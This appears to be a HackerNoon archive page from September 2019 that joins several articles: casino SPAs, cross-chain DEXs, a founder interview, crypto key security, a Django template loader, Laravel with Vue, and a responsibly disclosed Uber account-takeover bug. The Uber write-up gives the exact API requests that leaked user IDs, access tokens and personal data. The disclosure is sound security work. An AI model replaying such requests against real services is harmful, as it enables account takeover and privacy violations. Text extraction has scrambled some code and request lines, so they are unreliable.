games. It’s hard to optimize it for search engines, because they require multiple pages to be indexed in order to appear in search results. The examples of successful SPA sites winkslot.com is a popular casino based on SPA technology. All games can be accessed without loading additional pages. It offers a long list of games, including blackjack, roulette, poker, slots, and a set of more casual games. Also, Winkslot has a wide selection of scratch cards available. The interface is very user-friendly and fast. The casino requires a registration to play, and it’s available in most countries. Every player gets 30 free spins after registration. The casino also offers a lot of promotions and special events - its players get rewarded during daily challenges just for playing. Winkslot Considering its technology, it’s a complex site, because work really fast, which means its code is well-optimized. Transition between games is nearly instant, and players have a feeling that they interact with a desktop application. casinoeuro.com Another mostly one-page casino. It pays a jackpot of 6,000 euro daily, and features a multitude of gambling games, including various slots games, reels, poker, blackjack and roulette games. After registration, users can add all games to their favourites, and access them even faster. The casino doubles the first deposit of every player, allowing to win twice as much. For example, if you deposit 300 euros, you receive 600 euros, if you deposit 3,000 euros, you get 6,000. That’s pretty convenient, if you want to try your luck and win money fast. leovegas.com The third casino of our choice. It has the same set of games, as the previous two, such as regular slot, blackjack and poker games, but in addition, it offers an interesting mechanic, accumulators, allowing to receive more rewards for winning. Also this casino has personalised offers, offer cards and many more prizes for its players. On this site, some pages work as single page applications, and some work as regular pages with redirects. Conclusion Overall, the single page application technology is becoming more popular with the development of the new framework, new browsers and the increase in power of the regular home computer. All web sites can be improved by switching to this technology, especially casinos, those profits heavily depend on user engagement. In the future, in addition to the dominance of mobile applications, we’ll also see many more single page applications in our daily life. The author is not associated with any of the projects mentioned.

Facebook

Slack

Trello

Winner of Noonies 2020 for the award Hacker Noon Contributor of the Year - ICO.

2020 - Hacker Noon Contributor of the Year in ICO

Single page application and gambling sites - the future for the gambling market

Cryptocurrency trading is becoming more complicated day by day. Only a few years ago any centralized platform for trading was good enough for everyone. But now traders want to use decentralized exchanges, which is very reasonable considering the of centralized exchange hacks that have occurred over the past five years. A decentralized exchange is a safer way to trade, not handing over your funds to a third party who may not be responsible enough to keep them safe. You keep your funds to yourself, and you may lose them only through your own volition, not by someone else’s incompetence. very long list With the increased demand, decentralized exchanges started improving themselves. When the first DEXs went live it was a mess, at best. Some of them even left their users with large due to the imperfection of their structure. Also, they allowed for trade only on one particular blockchain, mostly Ethereum, because it was the most popular and had more tokens than any other platform. It still has more tokens than any other platform, to be precise, but the environment is already changing. It’s not enough to support one single network anymore, traders want to be able to trade any assets across multiple blockchains. That’s where the technology of cross-chain mechanisms can help fulfill that desire. $1.1 million losses 1,163 Source: dilbert.com How does cross-chain interaction work Cross-chain protocols, or so-called atomic swaps, allow you to exchange one cryptocurrency for another, even between two different blockchains, without the help from a third party. It’s basically a variation of smart contract technology and hash time locked contracts ( ). HTLC When two parties who don’t trust each other want to exchange coins or tokens, they can create such a contract. This contract acts as a temporary escrow for the funds of both parties. When funds are sent to complete the exchange, both parties have to confirm the receival of funds within a limited timeframe. If one of the parties fails to do it, the transaction is cancelled. If both parties confirm the transaction, the swap happens. This completely removes counterparty risk of exchanging tokens across blockchains. Source: blocktrak.com Why is this great? We have talked about this previously - the current blockchain and cryptocurrency industry is extremely fragmented right now. Those who want to trade in a decentralized way may find themselves in a situation where they have to create multiple accounts on various exchanges and make 2-3 trades instead of one because they can’t trade between two cryptocurrencies directly. The cross-chain functionality on DEXs solves this problem. So, what DEXs support this technology? The most advanced DEXs Currently, many startups are now developing cross-chain swaps. Even Lightning Labs, the developers behind Bitcoin’s Lightning Network, are their own solution. No wonder some DEXs have already incorporated this feature. creating The exchange was a pioneer of atomic swaps. One year after Tier Nolan the algorithm of atomic swaps in 2014, their lead developer implemented it and allowed to actually swap cryptocurrencies between each other. They were also the first to conduct the swap between DOGE and Ethereum blockchains. DOGE is based on the Bitcoin code, so that means Bitcoin can be exchanged to Ethereum too. It’s hard to underestimate the importance of this test. Komodo proposed VDEX by . It features the Inter-Blockchain Communication (IBC) proofs, which are designed to simplify interaction with other blockchains. Those chains that can’t process IBC proofs can rely on trusted oracles and escrows. With an EOS-based smart contract, a trusted multi-signature wallet holding the asset in escrow can be used to sign the transaction on the originating chain. Thus the exchange is able to handle any cryptocurrencies and support atomic swaps between them. Volentix - It supports swaps between Ethereum, EOS, and NEO blockchains. All trades are matched initially on the ledger of the exchange itself to improve speed and then sent onchain for settlement. Sadly, they have a very limited variety of tokens for trading. Dex.top - This exchange started as a DEX for the NEO ecosystem to allow trading NEO-based tokens, but it has grown beyond that. Now it supports Ethereum, EOS, and NEO trading, as well as limited BTC trading via the token. It doesn’t provide any extensive ecosystem, but it may be very convenient for those traders who are interested in NEO or EOS tokens and want to find them all in one place. Switchneo Wrapped Bitcoin Will it change the landscape of trading? Cryptocurrency is still a developing industry. These tokens are traded in their own space, on their own platforms, with their own rules - or is it better to say without any rules? There are no established tools for trading, nor any standard for inter-blockchain communication. Luckily, blockchain technology attracts many brilliant developers and scientific minds, who are constantly coming up with new ideas and new ways to improve the user experience. (Source: xkcd.com) The cross-chain mechanism is not a fully-developed technology yet, however. In the future, it’s possible that all trades will be performed between the two owners of funds and not through a third-party platform. And the cross-chain function will be crucial in such interaction, because over time it’s likely that more and more blockchain platforms will emerge. But it shouldn’t be the problem of end users, it will be the problem of blockchain architects, and they are already active, developing, and experimenting on each of these platforms. : The author is not associated with any of the projects mentioned. Disclosure

Dogecoin

Wrapped Bitcoin

Chain

Are there any DEXs with a good cross-chain mechanism?

Childhood friends James and Allen are making it easier for companies to build machine learning teams with AdaptiLab (Techstars Seattle ‘19). What’s your background, and what are you working on? James: Hi I’m James, the CEO of AdaptiLab. I worked on machine learning at two startups over the last three years before co-founding AdaptiLab, and I was a 2017 Freestyle Venture Capital Engineering Fellow. I’m a Seattle native. Allen: Hi I’m Allen. I am the CTO of AdaptiLab, and I’m also from Seattle. I worked on deep learning teams at Google and Microsoft before co-founding AdaptiLab, and I am a published deep learning researcher. James: AdaptiLab builds software that helps companies grow their machine learning teams from hiring to productivity. Our initial product is an automated technical screening tool that sits at the top of hiring managers’ interview funnels. The product automatically generates coding assessments that are customized for the company’s domain and tests candidates on core machine learning competencies: data preprocessing, data analysis, feature engineering, model development/inference, and general algorithms. We also automatically grade candidate’s submissions and provide technical score reports. We’re a recent Techstars Seattle graduate. What motivated you to get started with your company? James: Machine learning is transforming industry at an unprecedented rate. However, companies are adopting the new technology so quickly that the infrastructure for hiring and developing machine learning talent is universally lacking. We’ve spoken to over 100 hiring managers and lead engineers and confirmed every company — regardless of size and vertical — makes mistakes when trying to hire machine learning talent. The cost of failure is painfully high. Companies spend hundreds of thousands trying to build a machine learning engineering team. Major costs drivers are decreased engineering productivity in interviewing (companies average 50+ interviews per hire), sourcing qualified candidates, and high churn due to skillset misalignment. Our software product for evaluating talent will help hiring managers improve the quality of their candidate funnels, reclaim their engineer’s time, and ensure candidate skillset fit. Allen: Both James and I are machine learning engineers by training (Wu studied computer science and statistics at Duke University, and Lu studied computer science, machine learning, and language technologies at Carnegie Mellon), and we had experience working with machine learning in industry. Before building AdaptiLab we built the most viewed course for machine learning on (a leading platform for developer education). We knew we had the right backgrounds to tackle this problem, and we built a solid team of mentors and advisors from Techstars to help. Educative What went into building the initial product? James: We started by conducting a lot of customer discovery. We made a list of our target customer’s biggest pain points and identified the features we would need to launch an MVP. This included an interview environment with automatic code grading and a hiring manager dashboard to send out interviews to candidates and receive score reports. We didn’t spend too much time designing extra features or beautifying the UI for the hiring manager side because we wanted to get the product in the hands of customers as soon as possible. Allen: We launched the first version of the product at the end of March and since then we’ve been making regular feature deployments and updates based on our customer’s feedback. For instance, we’ve improved the candidate interview experience, the quality of the generated technical score reports, the functionalities included in the hiring manager dashboard, and the question generation system for higher quality questions. Candidate Interview Environment (from ) AdaptiLab How have you grown your company since your launch? Allen: We have a wide market because so many different industries are trying to adopt machine learning. Our product also works for more than just machine learning engineers. We help companies evaluate most data-oriented technical roles, such as data analyst, data scientist, business intelligence engineer, deep learning engineer, applied scientist, etc. We chose to primarily target fast-growing tech companies when we launched because they have the fastest adoption rate and the heaviest need for our product. Typically these companies are building out dedicated machine learning teams and have at least five open positions they’re trying to fill at any time. Our product is currently being used by hiring managers at fast-growing tech companies and enterprise giants. James: We also recently graduated from and raised a led by Trilogy Equity Partners. We plan to use the funding to help meet customer demand and accelerate our go-to-market. We will grow our engineering team to improve and refine our product and build a growth team to scale to more customers. We have a team of 4 at the moment, with plans to grow to 10 by 2020. Techstars Seattle $1.8m seed round Have you found anything particularly helpful or advantageous? James: I think we have some mutual character traits that have been very helpful in building AdaptiLab quickly. We are both open-minded and flexible when it comes to trying new ideas and pivoting away from old ones that prove to be ineffective. This is crucial for a startup because so much of building a successful product is the process of getting feedback from users and iterating on the product. Allen: We’re also both organized. When first starting a company, there are a lot of logistics issues that need to be taken care of even though the main focus should be building the product and then selling it. We budget our time well to make sure we cover all the necessary legal and finance tasks, without letting them distract us from the main objective, which should always be building the product and selling it. James: For a pair of first-time founders, the Techstars Seattle experience provided an incredible amount of mentorship and resources. Many of our mentors during the program are now advisors for our company or strategic investors. The program forced us to be thoughtful about how we built our product, executed our go to market strategy, and told our company’s story for investors and potential hires. We think a well-respected accelerator, such as YC or Techstars, is worth the time and equity, especially for teams that are lacking experience in some business function (e.g. engineering, go-to-market, etc). We also had the benefit of participating in our hometown’s accelerator, so we were able to maintain our networks within the Seattle community. Allen: We still have access to many of the connections we built during our time in university. Most startup founders at best only utilize their university’s alumni network, but we’ve also sought advice and assistance from former professors and research advisers as well as spoken to students directly. What’s your advice for entrepreneurs who are just starting out? James: There are so many great resources out there for new entrepreneurs to build a company. You should try to read and learn as much as you can and then create your own thesis for how you will run your company. Many of these resources are completely open-source/free as well. We’ve personally enjoyed and The Lean Startup, The Hard Thing about Hard Things, Venture Deals. Try your best to find a co-founder and make sure at least one member of the founding team has a technical background because it enables the company to build and test ideas quickly. Pick a co-founder that you trust and that has a similar passion for the space you’re in. The founding team will learn together, share hardships, and constantly improve each other and the company. Allen and I have been building products together for over 5 years and we’ve known each other for more than double that, so we can build on each other's strengths and communicate effectively. Allen: Always think about the customer. As a pair of technical founders, we had to learn to not over-index on the product and remain focused on solving the real world pain points we were hearing in our customer interviews. Launching as fast as possible and iterating with new product versions helps drive this focus. Where can we go to learn more? Check out our product at You can also follow our for news. If you would like to connect with the co-founders, you can find us on Linkedin as well: , . We’re always happy to hear feedback from users and answer any questions regarding the company. www.adaptilab.com. Linkedin James Allen This interview is brought to you by , a tool to schedule and automatically repeat your posts on Facebook, Instagram, Twitter, Pinterest, LinkedIn, and . OneUp Google My Business

Discovery

Funding

Instagram

Microsoft

TechStars

2022 - HackerNoon Contributor of the Year - Social Media

Nominated for 2022 - HackerNoon Contributor of the Year - Social Media

Founder Interviews: James Wu and Allen Lu of AdaptiLab

Arguably, what made cryptos so successful in the first place is the possibility of having a recognised valuable asset without the hassle of complying with banking and legal regulations. Sure, this wasn’t Satoshi’s main task when he published his whitepaper on the cryptography mailing list at metzdowd.com, but this feature caught much of the attention of investors trying to find new ways to make easy money. Obviously this brought the ‘market wanna-be’ to be a nest of hackers, scams, and trading of many assets at best bordering on the limit of legality - if not utterly ending up in the drug cartel or worse. Today, however, the ‘cryptomarket’ has overcome much of the initial suspicion and is adjusting itself to a newly founded sector of alternative finance, with trading platforms where to exchange virtual coins in a regulated manner. Big exchanges, as CoinBase, Binance, or Bitfinex all provide a platform for trading, a private and a public key, and a depository where to store your coins, the so-called wallet. Comfy, isn't it? After all, one wants to have all the features of a trading platform with the security of blockchain. Well, it doesn’t actually look like this. Having a chat with Tim Weiss, CEO of Digital BankVault, I realised that much of what we outsource to exchanges and company-backed platforms - in terms of trust - can be seen through the lenses of entrusting a third-party with sensible data, as the keys to our crypto-wallet. “The problem here, is that the private key - the most valuable thing you have - is stored on some server a company provides you, if not on the device you are using. In this way, you don’t really have control on your private key! The convenience of having a key made and ready for you might actually represent a big problem when talking of big capitals, as encrypted as it can be. “Hacking a device or a server, nowadays, is proved to be possible. It already happened to many exchanges, as CoinCheck or Mt. Gox, but also many others. Having your private key it’s easy to transfer the entire funds to one’s own wallet. This is one of the main reasons hacking has increased in the market.” After all, even Binance, which is considered to be one of the most secure exchanges . couldn’t avoid being hacked Exchanges are centrally operated systems, meaning that they are run like traditional companies and with a single database that stores all the users information owned by them. Such central ledgers might be a good target for experienced hackers, i.e. tracing the traders’ activity or identifying your account information. As Tim was saying, such gigantic infrastructures proved to be wrong, as the Japanese exchanges learned at great cost. “The problem here, after all, might be exactly what we think secures us the most: the private key,” in the sense that “registering your key is not always as secure as one think, unless you don’t write it on a physical agenda and then consult the agenda every single time you want to transact cryptos. “However, this might be too much of a hassle. We should move towards more marketable ideas to enhance security in the sector for traders and investors.” Tim and his team have developed an idea for which the key should not be known by the company providing the service - in this case the access to your wallet. By means of a key derived from a ‘path trace’ (an everyday habit of yours, for instance) and a specific device to access your account, the central provider of the service (i.e. the company) should know nothing of your data as much as your device should store nothing on it. “Let me explain better. Back in 2016, former President Obama stated how easy can the government enter into a device representing a pocketable Swiss bank. That is what should be tackled: to keep your digital assets rest still in a vault. “The solution might then be a device the marketing value of which is comfortably and  temoporarily accessing your account. When you turn off the device all the temporary memory of the hardware is utterly deleted, leaving no trace behind. Every time you need to use your account you log in and then you can safely turn it off again, without fear of being robbed even if you leave your device on on the bus. “No trace means no leads to your account. It is as simple as that. Moreover, privacy today is a luxury. How good would that be to get rid of third-parties?” Exchanges provided a great stabilisation for the crypto community and the growth of a possible market of reference. However, we all know the dangers of having someone with full access to our data. Privacy might be a luxury, but not an inaccessible good. The crypto world is such a disruptive, developing market that even something perceived as secure as the private key - largely though unhackable in the early days - might constitute a problem. But that’s also what the crypto world is: a constantly developing and adjusting market, strong in the entrepreneurial spirit of the human kind.

Binance

Coinbase

Ledgers

I'll help you speak (or write) your mind

The problem with your crypto could actually be your private key

Sometimes in Django you wish to override a small piece of a template and then refer back to that original template. However, in default Django, once you override that template, you can not refer back to it with the extends tag. This means you have to copy and paste a lot of code you would rather not maintain. So it would be nice if you had an extends tag that worked like: {% "app_name:admin/index.html" %} extends I found several snippets for a template loader that does this, but they are quite out of date. So here is a Django 2.2 snippet. First the loader: os django.apps apps django.template Origin, TemplateDoesNotExist django.template.loaders.filesystem Loader BaseLoader is_usable = template_parts = tpl.split( , ) len(template_parts) != : TemplateDoesNotExist(tpl)

        app_name, template_name = template_parts
        app = apps.get_app_config(app_name)
        template_dir = os.path.abspath(os.path.join(app.path, ))
        path = os.path.join(template_dir, template_name) Origin(
            name=path,
            template_name=tpl,
            loader=self,
        ) import from import from import from import as : class Loader (BaseLoader) True : def get_template_sources (self, tpl) ":" 1 if 2 raise 'templates' yield Then in your settings.py you need to configure your template loaders like: TEMPLATES = [
    { : , : [], : { : [ , ,
            ],
        },
    },
] 'BACKEND' 'django.template.backends.django.DjangoTemplates' 'DIRS' 'OPTIONS' 'loaders' 'django.template.loaders.app_directories.Loader' 'my_app.loader.Loader' These settings use the default Django template loader first and then use the new App Loader class if nothing is found. Then you can do something like in a template: {% "grappelli:admin/index.html" %} extends {% custom_views %} block {{ .super }} block Benchmarks Benchmarks < = = > div class "grp-module" id "app_benchy" < > h2 < = = > a href "/benchmarks/" class "grp-section" </ > a </ > h2 < = = > div class "grp-row" id "model-benchy" < = > a href "/benchmarks/" < > strong </ > strong </ > a </ > div </ > div {% %} endblock That particular code let me insert a custom block into the Django Grappelli Admin without having to use a dashboard system and without having to copy and paste Django admin code. I use this template loader mostly to override the admin. It's extremely useful here.

Winner of Noonies 2020 for the award Hacker Noon Contributor of the Year - DATABASE.

2020 - Hacker Noon Contributor of the Year in DATABASE

2022 - Android Advocate of the Year

2022 - HackerNoon Contributor of the Year - Privacy

fixin bugs and making more

Book a call

Nominated for 2022 - Android Advocate of the Year

Nominated for 2022 - HackerNoon Contributor of the Year - Privacy

App Based Template Loading in Django

This is being published with the permission of Uber under the responsible disclosure policy. The vulnerability detailed in this blog post is being disclosed by Anand Prakash of AppSecure . This was plugged quickly by the security team at Uber. This issue is similar to Facebook’s access token leak which was discovered last year https://techcrunch.com/2018/09/28/facebook-says-50-million-accounts-affected-by-account-takeover-bug/ Uber is a transportation network company (TNC) headquartered in San Francisco, California. Uber offers services including peer-to-peer ridesharing, taxi cab hailing, food delivery, and a bicycle-sharing system. The company has operations in 785 metropolitan areas worldwide. Uber has a valuation of over $100 billion as per Bloomberg’s report. About Uber This post is about an account takeover vulnerability on Uber which allowed attackers to take over any other user’s Uber account (including riders, partners, eats) account by supplying user UUID in the API request and using the leaked token in the API response to hijack accounts. I was able to enumerate any other Uber’s user UUID by supplying their phone number or email address in another API request. Description It allowed an attacker to track the victim’s location, take rides from their account, etc. by compromising the account using the leaked access token of Uber mobile application. This also permitted takeover of Uber driver, Eats accounts. How my exploit worked step-by-step Below APIs leaked any Uber user’s (Partner, Rider, Ubereats user) UUID if supplied with their phone number or email address Step #1 Getting user UUID of any Uber User API #1 POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/ Host: partners.uber.com
{“nationalPhoneNumber”:” xxxxx”,”countryCode”:” 1.1 99999 1 "}

Response:
{“status”:”failure”,”data”:{“code”:1009,”message”:”Driver ‘47d063f8–0xx5e-xxxxx-b01a-xxxx’ not found”}} ‘47d063f8–0xx5e-4eb4-xxx-xxxxxxx’ is leaked Uber UUID of Uber user having phone number 99999xxxxx API #2 POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/ Host: partners.uber.com
{“email”:”xxx@gmail.com”} 1.1 Response leaks UUID: {“status”:”failure”,”data”:{“code”: ,”message”:”Driver ‘ca111b95– – -b907– abxxx5f7371e’ not found”}} 1009 1111 4396 83 ‘Ca111b95– – -b907– abxxx5f7371e’ is leaked Uber UUID Uber user having email address xxx@gmail.com. 1111 4396 83 of Step #2 Getting access token of any Uber user by supplying user id. Once you have the leaked Uber UUID from the above request for any user. Then you can replay below request using victim’s Uber UUID to get access to their private information like access token (mobile apps), location, address, etc. Access token allowed me to take over victim’s account completely, I was able to see rides, request rides, see payment information, etc. of our test accounts using the leaked token. The vulnerable Uber API: POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/ Host: bonjour.uber.com
Connection: close
Content-Length: Accept: application/json
Origin: https: x-csrf-token: xxxx
User-Agent: Mozilla/ (Macintosh; Intel Mac OS X _14_3) AppleWebKit/ (KHTML, like Gecko) Chrome/ Safari/ DNT: Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q= Cookie: xxxxx
{“language”:”en”,”userUuid”:”xxxx– – xxxx1bd a xxx604ce”} 1.1 67 //bonjour.uber.com 5.0 10 537.36 73.0 .3683 .103 537.36 1 0.9 776 4 -861 -837 Response leaked entire data of other user including mobile apps access token: {“status”:”success”,”data”:{“data”:{“language”:”en”,”userUuid”:”xxxxxx1e”},”getUser”:{“uuid”:”cxxxxxc5f7371e”,”firstname”:”Maxxxx”,”lastname”:”XXXX”,”role”:”PARTNER”,”languageId”:1,”countryId”:77,”mobile”:null,”mobileToken”:1234,”mobileCountryId”:77,”mobileCountryCode”:”+91",”hasAmbiguousMobileCountry”:false,”lastConfirmedMobileCountryId”:77,”email”:” ”,”emailToken”:”xxxxxxxx”,”hasConfirmedMobile”:”no”,”hasOptedInSmsMarketing”:false,”hasConfirmedEmail”:true,”gratuity”:0.3,”nickname”:” ”,”location”:”00000",”banned”:false,”cardio”:false,”token”:”b8038ec4143bb4xxxxxx72d”,”fraudScore”:0,”inviterUuid”:null,”pictureUrl”:”xxxxx.jpeg”,”recentFareSplitterUuids”:[“xxx”],”lastSelectedPaymentProfileUuid”:”xxxxxx”,”lastSelectedPaymentProfileGoogleWalletUuid”:null,”inviteCode”:{“promotionCodeId”:xxxxx,”promotionCodeUuid”:”xxxx”,”promotionCode”:”manishas105",”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,215,101]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,76,65,211,61,9]}},”driverInfo”:{“contactinfo”:”999999999xx”,”contactinfoCountryCode”:”+91",”driverLicense”:”None”,”firstDriverTripUuid”:null,”iphone”:null,”partnerUserUuid”:”xxxxxxx”,”receiveSms”:true,”twilioNumber”:null,”twilioNumberFormatted”:null,”cityknowledgeScore”:0,”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,84,21,124,80,52]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,86,152,77,41,77]},”deletedAt”:null,”driverStatus”:”APPLIED”,”driverFlowType”:”UBERX”,”statusLocks”:null,”contactinfoCountryIso2Code”:”KR”,”driverEngagement”:null,”courierEngagement”:null},”partnerInfo”:{“address”:”Nxxxxxxx”,”territoryUuid”:”xxxxxx”,”company”:”None”,”address2":”None”,”cityId”:130,”cityName”:”None”,”firstPartnerTripUuid”:null,”preferredCollectionPaymentProfileUuid”:null,”phone”:””,”phoneCountryCode”:”+91",”state”:”None”,”vatNumber”:”None”,”zipcode”:”None”,”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,84,21,124,80,52]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,101,38,177,88,137]},”deletedAt”:null,”fleetTypes”:[],”fleetServices”:[],”isFleet”:true},”analytics”:{“signupLat”:133.28741199,”signupLng”:11177.1111,”signupTerritoryUuid”:”xxxxx”,”signupPromoId”:null,”signupForm”:”iphone”,”signupSessionId”:”xxxxxxx”,”signupAppVersion”:”2.64.1",”signupAttributionMethod”:null,”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,219,1]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,219,1]},”signupCityId”:130,”signupDeviceId”:null,”signupReferralId”:null,”signupPromoCode”:null,”signupPromoCodeUuid”:null,”signupPromoUuid”:null,”signupMethod”:”REGULAR”},”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,215,153]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,102,81,35,153,135]},”deletedAt”:null,”tenancy”:”uber/production”,”mobileConfirmationStatus”:”MOBILE_NOT_CONFIRMED”,”nationalId”:null,”nationalIdType”:null,”merchantLocation”:null,”lastConfirmedMobile”:”xxxxxxxxxx”,”requestedDeletionAt”:null,”dateOfBirth”:xxxxxx,”userTypes”:null,”preferredName”:”xxxxxxxx”,”freightInfo”:null,”tempPictureUrl”:null,”identityVerified”:null,”paymentEntityType”:null,”riderEngagement”:null,”identityRejectReasonUuid”:null,”genderInferred”:null,”genderIdentity”:null,”genderDocumented”:null,”riderIneligibleWdw”:null,”defaultPaymentProfileByProduct”:null,”loginEligibility”:null},”getDisclosureVersionUuid”:””,”getLocaleCopy”:null}} xxxx@gmail.com abc@gmail.c Video Proof of Concept: https://player.vimeo.com/video/359252275 Uber fixed the issue by authorizing the request with current user session and removing sensitive information like access token from the response. April 19, 2019 — Reported to Uber April 25, 2019 — Report Triaged April 26, 2019 — Vulnerability fixed, the bounty of $6500 USD awarded. June 28th, 2019 — Requested for disclosure September 9, 2019 — Report disclosed by Uber Disclosure Timeline Thanks for reading. -Anand Prakash

Intel

Mozilla

Techcrunch

Uber

pingsafe

I Could Have Hacked All Uber Accounts- But I Chose to Report it Instead

With , PHP is one of the most popular and widely used programming languages. Laravel is a powerful Model-View-Controller based PHP framework for all of the web artisans. This open-source PHP framework was created for creating full-featured websites. It is the best choice for web app developers who seeks expressive, simple and elegant toolkit in order to create elegant applications with a good speed. The founders of Laravel value elegance, simplicity, and readability more than anything and designed this PHP framework upholding these values. It is PHP’s fastest-growing framework owing to its scalability, ease of use, and flexibility. 72% of the market share Before we look for why Laravel developers prefer to use Vue.js for web app development, let’s first have a look at these 2 web development platforms independently. Vue.js It is a progressive and popular JS framework that is widely used to create the user interface. Unlike its counterparts, Vue.js is carefully designed from scratch that makes it perfectly adaptable. The core library of this javascript framework is focused on the view layer of the web application only, and it is extremely easy for a web app developer to pick-up and integrates it with various other libraries or any of the existing projects. With modern supporting libraries and tools, Vue.js is considered capable of powering sophisticated Single-Page Web Applications. Vue.js is a progressive, approachable and incrementally adoptable JS framework that helps to create single-page web applications and tooling. Vue.js is the best JavaScript framework to create an interactive UI that could capture the user’s imagination. Vue.js is the JS framework that is performant and versatile and can be used to create testable and maintainable codebase. Laravel Laravel is one of the most popular new generation web app frameworks. This open-source PHP based framework was developed by Taylor Otwell in the year 2011 with a prime focus for the web application development following the Model View Controller (MVC) model. And, yes, it is an open-source framework. Laravel makes web app development tasks an enjoyable, simple and creative experience. They make the web application development process enjoyable and pleasing without sacrificing functionality. They put together the best pieces of other frameworks, comprising frameworks implemented in various other languages. Now, we are familiar with both platforms, so let us focus on our main objective, which is to understand why Laravel web developers prefer to use Vue.js while creating the user interface of a web application. Also, there are many using these couples to create secure, scalable and feature-packed web applications. app development companies Combining Laravel and vue.js in your application development project can give you unlimited power to create a power-packed web application that stands out from its competitors. You can gain several additional benefits from these two popular frameworks by including them in your next projects. Vue.js can provide a richer and more interactive experience and can ease the pain out of the software development process, easing common tasks like routing, Laravel authentication, session and caching. Like other front-end frameworks, Vue.js gives you the power to divide a web app page into several components, which include their own CSS, HTML, and JavaScript, rendering that piece of the page. Some key features of Laravel include amazing painless routing, ORM, powerful libraries, and simple authentication and many more. Vue.js is like several other frameworks employees where the ideal representation of the user interface is kept in memory as JS data structures. Laravel introduces Eloquent ORM, which is an advanced PHP implementation of active record patterns that lets web app developers issue database queries by using PHP syntax. virtual DOMs However, combining these two powerful frameworks into a single project is not an easy task. It takes a team of great expertise to amalgamate these two technologies and create an excellent web application. You need to bring together a team of top laravel and vuejs developers who have mastery of the modalities and who are a legend in the business. Let’s find the answer to this question in a detailed way: Everything Happens on the Frontend Today, web applications on the internet are event-driven. They’re built to make sure visitors have seamless user experience as they would if they used a web application installed on their computer. Everything happens on the frontend and there is no need to reload the page for the users (thanks to the JavaScript). Reactive Components Make for an Excellent Event-driven app Vue lets you create a full-scale web application that is event-driven and possess all activities totally handle on the frontend. In addition to this, it provides composable user components that can be used wherever you wish. Given that it couples nicely with the Laravel framework, you will only need to create a few trips to request data from your Laravel web application and make user-friendly changes by switching components without reloading the page. You can trigger user interface changes that are seamless with your Vue.js frontend, which in turn provides your users with an amazing experience. It is as simple as making a text on your web page editable or swapping out a full component to load-up a video requested by the user without page reloading. Given Vue.js’ performance and speed, this happens very smooth and fast without taking up so much of your computer resources. Building Optimal Complex Frontend Pages If you think of building a web application with parts that require to update on a frequent basis, you have no other choice than to create the frontend run totally on JavaScript. The challenge with jQuery or vanilla JavaScript or other JavaScript libraries that don’t have a virtual DOM is that you promptly hit performance issues with the maximum frequency of update increases or the data volume to track for changes significantly increases. Gradually, changes to the DOM will cease to be instantaneous and you start to experience noticeable lags in performance. When you compose your web application with the Vue components, the dependencies of each component are tracked automatically during its render, so the system understands precisely which component actually required to be updated when there is a data change. This makes all DOM updates use minimal resources, therefore, improving the overall web application efficiency. Vue.js is also compatible with state managers like Redux, Flux, and Vuex which are pretty excellent in managing data flow in complex web applications. Vue’s utilization of a one-way model of data-binding also makes state management easier in complex web applications. Single Page Application I think most of the web developers will agree with me that Single Page Web Applications are the greatest thing to happen on the internet in the last decade. It opens up the web applications to a wider user audience than was possible before. When you think that many internet users outside of some parts of Europe and America have challenges getting on the internet, you begin to appreciate the role single page applications play in delivering a rich web experience to them. Your entire application assets get loaded once (and most of it cached), all that your application does as the user engages with it is request data which typically requires low bandwidth to fulfill. Easy to Learn & Use Vue is easy to get into. It provides very few options for you as the developer and has a lot of abstracted away. You feel like you are writing plain JavaScript when you use Vue and you can make a simple application with plain JavaScript and it remains valid in Vue. Another great thing about Vue is that your valid HTML is also a valid Vue template. You can keep your CSS external or you can process it with JavaScript depending on your application needs. You can also take advantage of scoped styling, to apply style changes to a single component on the fly without the change affecting other components. If you are familiar with JavaScript, you can build a non-trivial application with Vue after just one day of reading the documentation. Conclusion In this guide, we’ve looked at what the front end development tool Vue.js can do and how it can work along with PHP framework Laravel. We also have explored various reasons why you should consider using laravel with Vue js. We have also seen how to use Vue with Laravel, including making a single page web application that’ll run on Laravel.

HackerNoon Tech Stories Archive September 13th, 2019

[EXPLAINED] Why did Transactions on Ethereum Become Terribly Slow?

@MickyNews
Cynthia Turcotte

How to Earn Crypto Playing by Playing Quake 3?

@MickyNews
Cynthia Turcotte

Deploy apps Fast with Google Kubernetes (GKE) UI

@alonronin
Alon Valadji

[Interview] Medical Expert Explains Biohacking, Its Future, and the Safest Way to Boost Yourself

@MelvinTalk
Danny Wesley

Walmart Files a Patent Application for Blockchain Based Drone System

@thomas-glare
Thomas Glare

Here's How You can Animate React with Framer Motion

@koss-lebedev
Konstantin Lebedev

Some Shocking Data Analyses About Stablecoins

@jrodthoughts
Jesus Rodriguez

Single page application and gambling sites - the future for the gambling market

@noprofile
noprofile

Are there any DEXs with a good cross-chain mechanism?

@noprofile
noprofile

Founder Interviews: James Wu and Allen Lu of AdaptiLab

@Davis
Davis Baer

The problem with your crypto could actually be your private key

@rossimarco
Marco Rossi

App Based Template Loading in Django

@pizzapanther
Paul Bailey

I Could Have Hacked All Uber Accounts- But I Chose to Report it Instead

@appsecure
Anand Prakash

Laravel & Vuejs: A Miraculous Combination for Perfect Web Applications

@itsmattfitzgerald
Matt Fitzgerald

HackerNoon Tech Stories Archive September 13th, 2019

@MickyNewsCynthia Turcotte

@MickyNewsCynthia Turcotte

@alonroninAlon Valadji

@MelvinTalk Danny Wesley

@thomas-glareThomas Glare

@koss-lebedevKonstantin Lebedev

@jrodthoughtsJesus Rodriguez

@noprofilenoprofile

@noprofilenoprofile

@DavisDavis Baer

@rossimarcoMarco Rossi

@pizzapantherPaul Bailey

@appsecureAnand Prakash

@itsmattfitzgeraldMatt Fitzgerald

@MickyNews
Cynthia Turcotte

@MickyNews
Cynthia Turcotte

